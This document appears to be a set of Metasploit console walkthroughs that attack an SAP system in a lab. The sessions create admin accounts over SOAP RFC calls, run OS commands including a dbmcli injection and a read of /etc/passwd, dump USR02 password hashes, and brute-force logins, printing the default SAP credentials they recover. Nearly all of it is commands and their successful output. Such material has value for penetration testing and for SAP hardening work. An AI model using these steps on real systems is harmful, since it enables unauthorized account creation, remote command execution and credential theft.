SAP SOAP BAPI USER CREATE

This module calls the RFC BAPI_USER_CREATE1 module (via SOAP). The
module can be used for creating/modifying users.

msf  auxiliary(sap_web_gui_brute_login) > use
auxiliary/scanner/sap/sap_soap_bapi_user_create1
msf  auxiliary(sap_soap_bapi_user_create1) > show options

Module options (auxiliary/scanner/sap/sap_soap_bapi_user_create1):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   BAPI_FIRST     John             no        First name
   BAPI_LAST      Doe              no        Last name
   BAPI_PASSWORD  06071992         no        Password for the account
(Default is 06071992)
   BAPI_USER      ADMIN            no        Username for the account
(Usrename in upper case only. Default is ADMIN)
   CLIENT                          yes       SAP client
   PASSWORD                        yes       Password
   Proxies                         no        Use a proxy chain
   RHOSTS                          yes       SAP ICM server address
   RPORT          80               no        SAP ICM server port number
   THREADS        1                yes       The number of concurrent
threads
   USERNAME                        yes       Username
   VHOST                           no        HTTP server virtual host

msf  auxiliary(sap_soap_bapi_user_create1) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_bapi_user_create1) > set PASSWORD 06071992
PASSWORD => 06071992
msf  auxiliary(sap_soap_bapi_user_create1) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_bapi_user_create1) > set USERNAME SAP*
USERNAME => SAP*
msf  auxiliary(sap_soap_bapi_user_create1) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_bapi_user_create1) > run

[*] [SAP] 172.16.252.150:8042 - Attempting to create user 'ADMIN' with
password '06071992'
[+] [SAP] 172.16.252.150:8042 - User 'ADMIN' with password '06071992'
created
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP RFC DBMCLI SXPG CALL SYSTEM COMMAND EXEC

This module makes use of the SXPG_CALL_SYSTEM Remote Function Call (via
SOAP) to execute OS commands via DBMCLI command as configured in SM69.

msf  > use
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) >
show options

Module options
(auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT                    yes       Client
   CMD      id               yes       Command to run
   OS       Linux            yes       Windows/Linux
   PASS                      yes       Password
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       SAP ICM server address
   RPORT    80               yes       SAP ICM server port number
   THREADS  1                yes       The number of concurrent threads
   USER                      yes       Username
   VHOST                     no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > set
CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > set
PASS 06071992
PASS => 06071992
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > set
RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > set
RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > set
USER SAP*
USER => SAP*
msf  auxiliary(sap_soap_rfc_dbmcli_sxpg_call_system_command_exec) > run

[*] 172.16.252.150:8042 - sending SOAP SXPG_CALL_SYSTEM request
[*] 172.16.252.150:8042 - got response
[*] 172.16.252.150:8042 - sending SOAP SXPG_CALL_SYSTEM request
[*] 172.16.252.150:8042 - got response

[SAP] SXPG_CALL_SYSTEM dbmcli Command Injection
===============================================

   Output
   ------
   >;!id
   uid=1001(npladm) gid=100(users) groups=100(users),1000(sapsys)

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP RFC PING

Calls the RFC_PING RFC module via SOAP to test the availability of the
function. The function simply tests connectivity to remote RFC
destinations.

msf > use auxiliary/scanner/sap/sap_soap_rfc_ping
msf  auxiliary(sap_soap_rfc_ping) > show options

Module options (auxiliary/scanner/sap/sap_soap_rfc_ping):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CLIENT                     yes       Client
   PASSWORD  06071992         yes       Password
   Proxies                    no        Use a proxy chain
   RHOSTS                     yes       SAP ICM server address
   RPORT     80               yes       SAP ICM port number
   THREADS   1                yes       The number of concurrent threads
   USERNAME  SAP*             yes       Username
   VHOST                      no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_ping) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_ping) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_ping) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_ping) > run

[*] 172.16.252.150:8042 - sending SOAP RFC_PING request
[*] 172.16.252.150:8042 - RFC service is alive
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP RFC READ TABLE

This module makes use of the RFC_READ_TABLE Remote Function Call (via
SOAP) to read data from tables.

msf  > use auxiliary/scanner/sap/sap_soap_rfc_read_table
msf  auxiliary(sap_soap_rfc_read_table) > show options

Module options (auxiliary/scanner/sap/sap_soap_rfc_read_table):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT                    yes       Client
   FIELDS   *                yes       Fields to read
   PASS                      yes       Password
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       SAP ICM server address
   RPORT    80               yes       SAP ICM server port number
   TABLE                     yes       Table to read
   THREADS  1                yes       The number of concurrent threads
   USER                      yes       Username
   VHOST                     no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_read_table) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_read_table) > set FIELDS
MANDT,BNAME,BCODE,PASSCODE
FIELDS => MANDT,BNAME,BCODE,PASSCODE
msf  auxiliary(sap_soap_rfc_read_table) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_read_table) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_read_table) > set USER SAP*
USER => SAP*
msf  auxiliary(sap_soap_rfc_read_table) > set PASS 06071992
PASS => 06071992
msf  auxiliary(sap_soap_rfc_read_table) > set TABLE USR02
TABLE => USR02
msf  auxiliary(sap_soap_rfc_read_table) > run

[*] 172.16.252.150:8042 - sending SOAP RFC_READ_TABLE request
[*] 172.16.252.150:8042 - got response

[SAP] RFC_READ_TABLE
====================

   Returned Data
   -------------
   001|ADMIN       |3C24A4A4|10806C87C7EE0F30A9E2
   001|ADSUSER     |7FE24F53|CD83AD9E92B4E37E2255
   001|ADS_AGENT   |8C323693|FE0DD787EE7EBCBF4728
   001|DDIC        |61D26428|905F5E6CE67B7C60D0F7
   001|DEVELOPER   |C4C768AE|4BD353A8F1D8B453D589
   001|J2EE_ADMIN  |6C1541BC|149E781A80383CC59AB0
   001|J2EE_GUEST  |00000000|00000000000000000000
   001|MWR*        |239D8959|8363143AAD6F0540930D
   001|ROOT        |B5CA3F60|01C76AB48D925452AB37
   001|SAP*        |D0BFF427|8948310AF768FA906159
   001|SAPCPIC     |7D806C24|00000000000000000000
   001|SAPJSF      |7D6762BF|93738A70AA83C6DAA6CD
   001|TOOR        |36CE8C13|2101FE1A13738505EE74

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(sap_soap_rfc_read_table) >
SAP SOAP RFC SXPG CALL SYSTEM

This module makes use of the SXPG_CALL_SYSTEM Remote Function Call (via
SOAP) to execute OS commands as configured in SM69.

msf  > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > show options

Module options (auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT                    yes       Client
   CMD                       yes       Command to be executed
   OS                        yes       1. ANYOS, 2. UNIX, 3. Windows
NT, 4. AS/400, 5. OS/400
   PARAM                     no        Additional parameters
   PASS                      yes       Password
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       SAP ICM server address
   RPORT    80               yes       SAP ICM port number
   THREADS  1                yes       The number of concurrent threads
   USER                      yes       Username
   VHOST                     no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set CMD CAT
CMD => CAT
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set OS 2
OS => 2
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set PARAM /etc/passwd
PARAM => /etc/passwd
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set PASS 06071992
PASS => 06071992
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set RHOSTS
172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > set USER SAP*
USER => SAP*
msf  auxiliary(sap_soap_rfc_sxpg_call_system) > run

[*] 172.16.252.150:8042 - sending SOAP SXPG_COMMAND_EXECUTE request
[*] 172.16.252.150:8042 - got response

[SAP] SXPG_CALL_SYSTEM
=======================

   Output
   ------
   at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
   bin:x:1:1:bin:/bin:/bin/bash
   daemon:x:2:2:Daemon:/sbin:/bin/bash
   dnsmasq:x:103:65534:dnsmasq:/var/lib/empty:/bin/false
   ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
   games:x:12:100:Games account:/var/games:/bin/bash
   gdm:x:109:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
   haldaemon:x:105:107:User for haldaemon:/var/run/hald:/bin/false
   lighttpd:x:101:102:user for lighttpd:/var/lib/lighttpd:/bin/false
   lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
   mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
   man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
   messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
   news:x:9:13:News system:/etc/news:/bin/bash
   nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
   npladm:x:1001:100:npladm:/home/npladm:/bin/csh
   ntp:x:74:105:NTP daemon:/var/lib/ntp:/bin/false
   polkituser:x:104:106:PolicyKit:/var/run/PolicyKit:/bin/false
   postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
   pulse:x:106:108:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
   root:x:0:0:root:/root:/bin/bash
   sapadm:x:1004:100:sapadm:/home/sapadm:/bin/csh
   sdb:x:1002:100:sdb:/home/sdb:/bin/csh
   sqdnpl:x:1003:100:sqdnpl:/home/sqdnpl:/bin/csh
   sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
   suse-ncc:x:108:111:Novell Customer Center
User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
   testdrive:x:1000:100::/home/testdrive:/bin/bash
   uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
   uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
   wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
   yastws:x:107:110:User for YaST-Webservice:/var/lib/yastws:/bin/false

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP RFC SXPG COMMAND EXEC

This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call
(via SOAP) to execute OS commands as configured in SM69.

msf  > use auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > show options

Module options (auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT                    yes       Client
   CMD                       yes       Command to be executed
   OS                        yes       1. ANYOS, 2. UNIX, 3. Windows
NT, 4. AS/400, 5. OS/400
   PARAM                     no        Additional parameters
   PASS                      yes       Password
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       SAP ICM server address
   RPORT    80               yes       SAP ICM server port number
   THREADS  1                yes       The number of concurrent threads
   USER                      yes       Username
   VHOST                     no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set CMD CAT
CMD => CAT
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set OS 2
OS => 2
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set PARAM /etc/passwd
PARAM => /etc/passwd
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set RHOSTS
172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set USER SAP*
USER => SAP*
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > set PASS 06071992
PASS => 06071992
msf  auxiliary(sap_soap_rfc_sxpg_command_exec) > run

[*] 172.16.252.150:8042 - sending SOAP SXPG_COMMAND_EXECUTE request
[*] 172.16.252.150:8042 - got response

[SAP] SXPG_COMMAND_EXECUTE
===========================

   Output
   ------
   at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
   bin:x:1:1:bin:/bin:/bin/bash
   daemon:x:2:2:Daemon:/sbin:/bin/bash
   dnsmasq:x:103:65534:dnsmasq:/var/lib/empty:/bin/false
   ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
   games:x:12:100:Games account:/var/games:/bin/bash
   gdm:x:109:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
   haldaemon:x:105:107:User for haldaemon:/var/run/hald:/bin/false
   lighttpd:x:101:102:user for lighttpd:/var/lib/lighttpd:/bin/false
   lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
   mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
   man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
   messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
   news:x:9:13:News system:/etc/news:/bin/bash
   nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
   npladm:x:1001:100:npladm:/home/npladm:/bin/csh
   ntp:x:74:105:NTP daemon:/var/lib/ntp:/bin/false
   polkituser:x:104:106:PolicyKit:/var/run/PolicyKit:/bin/false
   postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
   pulse:x:106:108:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
   root:x:0:0:root:/root:/bin/bash
   sapadm:x:1004:100:sapadm:/home/sapadm:/bin/csh
   sdb:x:1002:100:sdb:/home/sdb:/bin/csh
   sqdnpl:x:1003:100:sqdnpl:/home/sqdnpl:/bin/csh
   sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
   suse-ncc:x:108:111:Novell Customer Center
User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
   testdrive:x:1000:100::/home/testdrive:/bin/bash
   uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
   uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
   wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
   yastws:x:107:110:User for YaST-Webservice:/var/lib/yastws:/bin/false

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP RFC SYSTEM INFO

This module calls RFC_SYSTEM_INFO via SOAP to obtain RFC server system
information.

msf  > use auxiliary/scanner/sap/sap_soap_rfc_system_info
msf  auxiliary(sap_soap_rfc_system_info) > show options

Module options (auxiliary/scanner/sap/sap_soap_rfc_system_info):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CLIENT    001              no        client
   PASSWORD  06071992         no        password
   Proxies                    no        Use a proxy chain
   RHOSTS                     yes       The target address range or
CIDR identifier
   RPORT     80               yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  SAP*             no        username
   VHOST                      no        HTTP server virtual host

msf  auxiliary(sap_soap_rfc_system_info) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_rfc_system_info) > set PASSWORD 06071992
PASSWORD => 06071992
msf  auxiliary(sap_soap_rfc_system_info) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_rfc_system_info) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_rfc_system_info) > set USERNAME SAP*
USERNAME => SAP*
msf  auxiliary(sap_soap_rfc_system_info) > run

[*] 172.16.252.150:8042 - sending SOAP RFC_SYSTEM_INFO request
[*] 172.16.252.150:8042 - got response

[SAP] System Info
=================

   Info                          Value
   ----                          -----
   Central Database System       ADABAS D
   Character Set                 4103
   Database Host                 NPLHOST
   Daylight Saving Time          X
   Float Type Format             IEEE
   Hostname                      nplhost
   IPv4 Address                  192.168.234.42
   IPv6 Address                  192.168.234.42
   Integer Format                Little Endian
   Kernel Release                720
   Machine ID                    390
   Operating System              Linux
   RFC Destination               nplhost_NPL_42
   RFC Log Version               011
   Release Status of SAP System  702
   System ID                     NPL
   Timezone                      0 (diff from UTC in seconds)

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP SUSR RFC USER INTERFACE

This module calls the RFC module (via SOAP) SUSR_RFC_USER_INTERFACE.
The module can be used for creating/modifying users.

msf  > use auxiliary/scanner/sap/sap_soap_susr_rfc_user_interface
msf  auxiliary(sap_soap_susr_rfc_user_interface) > show options

Module options (auxiliary/scanner/sap/sap_soap_susr_rfc_user_interface):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   ABAP_PASSWORD  06071992         no        Password for the account
(Default is 06071992)
   ABAP_USER      ADMIN            no        Username for the account
(Username in upper case only. Default is ADMIN)
   CLIENT                          yes       SAP client
   PASSWORD                        yes       Password
   Proxies                         no        Use a proxy chain
   RHOSTS                          yes       SAP ICM server address
   RPORT          80               no        SAP ICM server port number
   THREADS        1                yes       The number of concurrent
threads
   USERNAME                        yes       Username
   VHOST                           no        HTTP server virtual host

msf  auxiliary(sap_soap_susr_rfc_user_interface) > set ABAP_USER MSFMWR
ABAP_USER => MSFMWR
msf  auxiliary(sap_soap_susr_rfc_user_interface) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_susr_rfc_user_interface) > set PASSWORD 06071992
PASSWORD => 06071992
msf  auxiliary(sap_soap_susr_rfc_user_interface) > set RHOSTS
172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_susr_rfc_user_interface) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_susr_rfc_user_interface) > set USERNAME SAP*
USERNAME => SAP*
msf  auxiliary(sap_soap_susr_rfc_user_interface) > run

[*] [SAP] 172.16.252.150:8042 - Attempting to create user 'MSFMWR' with
password '06071992'
[+] [SAP] 172.16.252.150:8042 - User 'MSFMWR' with password '06071992'
created
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP TH_SAPREL

This module makes use of the TH_SAPREL RFC (via SOAP) to return the SAP
software, OS and DB versions.

msf  > use auxiliary/scanner/sap/sap_soap_th_saprel
msf  auxiliary(sap_soap_th_saprel) > show options

Module options (auxiliary/scanner/sap/sap_soap_th_saprel):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CLIENT                    yes       Client
   PASS                      yes       Password
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       SAP ICM server address
   RPORT    80               yes       SAP ICM server port number
   THREADS  1                yes       The number of concurrent threads
   USER                      yes       Username
   VHOST                     no        HTTP server virtual host

msf  auxiliary(sap_soap_th_saprel) > set CLIENT 001
CLIENT => 001
msf  auxiliary(sap_soap_th_saprel) > set PASS 06071992
PASS => 06071992
msf  auxiliary(sap_soap_th_saprel) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_th_saprel) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_th_saprel) > set USER SAP*
USER => SAP*
msf  auxiliary(sap_soap_th_saprel) > run

[*] 172.16.252.150:8042 - sending SOAP TH_SAPREL request

[SAP] System Info
=================

   Info               Value
   ----               -----
   DB version         SQLDBC 7.8.1.020
   OS Kernel version  Linux GNU SLES-9 x86_64 cc4.1.2 use-pr101108
   SAP Version        720_REL
   SAP compile time   Feb 13 2011 20:27:41
   SAP patch level    80

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP SOAP BRUTE LOGIN

This module attempts to brute force the username | password via an RFC
interface (over SOAP). Default clients can be tested without needing to
set a CLIENT. Common/Default user and password combinations can be
tested without needing to set a USERNAME, PASSWORD, USER_FILE or
PASS_FILE. The default usernames and password combinations are stored
in ./data/wordlists/sap_default.txt

msf  > use auxiliary/scanner/sap/sap_soap_brute_login
msf  auxiliary(sap_soap_brute_login) > show options

Module options (auxiliary/scanner/sap/sap_soap_brute_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for
all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce,
from 0 to 5
   CLIENT            000,001,066      no        Client can be single
(066), comma seperated list (000,001,066) or range (000-999)
   DEFAULT_CRED      true             no        Check using the defult
password and username
   PASSWORD                           no        A specific password to
authenticate with
   PASS_FILE                          no        File containing
passwords, one per line
   Proxies                            no        Use a proxy chain
   RHOSTS                             yes       The target address
range or CIDR identifier
   RPORT             80               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a
credential works for a host
   THREADS           1                yes       The number of
concurrent threads
   USERNAME                           no        A specific username to
authenticate as
   USERPASS_FILE                      no        File containing users
and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the
password for all users
   USER_FILE                          no        File containing
usernames, one per line
   VERBOSE           true             yes       Whether to print output
for all attempts
   VHOST                              no        HTTP server virtual host

msf  auxiliary(sap_soap_brute_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf  auxiliary(sap_soap_brute_login) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_soap_brute_login) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_soap_brute_login) > set USER_AS_PASS false
USER_AS_PASS => false
msf  auxiliary(sap_soap_brute_login) > run

[*] Brute forcing clients 000,001,066

[SAP] Credentials
=================

   host            port  client  user        pass
   ----            ----  ------  ----        ----
   172.16.252.150  8042  001     SAP*        06071992
   172.16.252.150  8042  000     SAPCPIC     ADMIN
   172.16.252.150  8042  001     SAPCPIC     ADMIN
   172.16.252.150  8042  066     EARLYWATCH  SUPPORT
   172.16.252.150  8042  001     ADSUSER     ch4ngeme
   172.16.252.150  8042  001     ADS_AGENT   ch4ngeme
   172.16.252.150  8042  001     DEVELOPER   ch4ngeme
   172.16.252.150  8042  001     J2EE_ADMIN  ch4ngeme
   172.16.252.150  8042  001     SAPJSF      ch4ngeme

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP WEB GUI BRUTE LOGIN

This module can be used to brute force the SAP ICM WebGUI.

msf  > use auxiliary/scanner/sap/sap_web_gui_brute_login
msf  auxiliary(sap_web_gui_brute_login) > show options

Module options (auxiliary/scanner/sap/sap_web_gui_brute_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for
all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce,
from 0 to 5
   CLIENT            000,001,066      no        Client can be single
(066), comma seperated list (000,001,066) or range (000-999)
   DEFAULT_CRED      true             no        Check using the default
password and username
   PASSWORD                           no        A specific password to
authenticate with
   PASS_FILE                          no        File containing
passwords, one per line
   Proxies                            no        Use a proxy chain
   RHOSTS                             yes       The target address
range or CIDR identifier
   RPORT             80               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a
credential works for a host
   THREADS           1                yes       The number of
concurrent threads
   URI               /                yes       URI
   USERNAME                           no        A specific username to
authenticate as
   USERPASS_FILE                      no        File containing users
and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the
password for all users
   USER_FILE                          no        File containing
usernames, one per line
   VERBOSE           true             yes       Whether to print output
for all attempts
   VHOST                              no        HTTP server virtual host

msf  auxiliary(sap_web_gui_brute_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf  auxiliary(sap_web_gui_brute_login) > set USER_AS_PASS false
USER_AS_PASS => false
msf  auxiliary(sap_web_gui_brute_login) > set RHOSTS 172.16.252.150
RHOSTS => 172.16.252.150
msf  auxiliary(sap_web_gui_brute_login) > set RPORT 8042
RPORT => 8042
msf  auxiliary(sap_web_gui_brute_login) > run

[*] Brute forcing clients 000,001,066
[-] 172.16.252.150:8042 - SAP* locked in client 000
[-] 172.16.252.150:8042 - SAP* locked in client 066
[-] 172.16.252.150:8042 - DDIC locked in client 000
[-] 172.16.252.150:8042 - DDIC locked in client 001
[-] 172.16.252.150:8042 - TMSADM locked in client 000

[SAP] Credentials
=================

   host            port  client  user        pass
   ----            ----  ------  ----        ----
   172.16.252.150  8042  001     SAP*        06071992
   172.16.252.150  8042  000     SAPCPIC     ADMIN
   172.16.252.150  8042  001     SAPCPIC     ADMIN
   172.16.252.150  8042  066     EARLYWATCH  SUPPORT
   172.16.252.150  8042  001     ADSUSER     ch4ngeme
   172.16.252.150  8042  001     ADS_AGENT   ch4ngeme
   172.16.252.150  8042  001     DEVELOPER   ch4ngeme
   172.16.252.150  8042  001     J2EE_ADMIN  ch4ngeme
   172.16.252.150  8042  001     SAPJSF      ch4ngeme

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SAP ROUTER INFO REQUEST

SAPRouter Admin Request (display remote route information).
http://help.sap.com/saphelp_nw70ehp3/helpdata/en/48/6c68b01d5a350ce10000
000a42189d/content.htm

msf  > use auxiliary/scanner/sap/sap_router_info_request
msf  auxiliary(sap_router_info_request) > show options

Module options (auxiliary/scanner/sap/sap_router_info_request):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RHOSTS                    yes       SAP Router Address
   RPORT    3299             yes       SAP Router Port Number
   THREADS  1                yes       The number of concurrent threads
   VERBOSE  false            no        Be Verbose

msf  auxiliary(sap_router_info_request) > set RHOST 172.16.252.142
RHOST => 172.16.252.142
msf  auxiliary(sap_router_info_request) > set RPORT 3299
RPORT => 3299
msf  auxiliary(sap_router_info_request) > run
[-] Auxiliary failed: Msf::OptionValidateError The following options
failed to validate: RHOSTS.
msf  auxiliary(sap_router_info_request) > set RHOSTS 172.16.252.142
RHOSTS => 172.16.252.142
msf  auxiliary(sap_router_info_request) > run

[+] connected to saprouter
[+] sending ROUTER_ADM packet info request
[+] got INFO response
[+] Working directory   : /home/sap
[+] Routtab             : routtab

[SAP] SAProuter Connection Table for 172.16.252.142
===================================================

   Source          Destination  Service
   ------          -----------  -------
   atreides.local  10.0.0.106   23

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed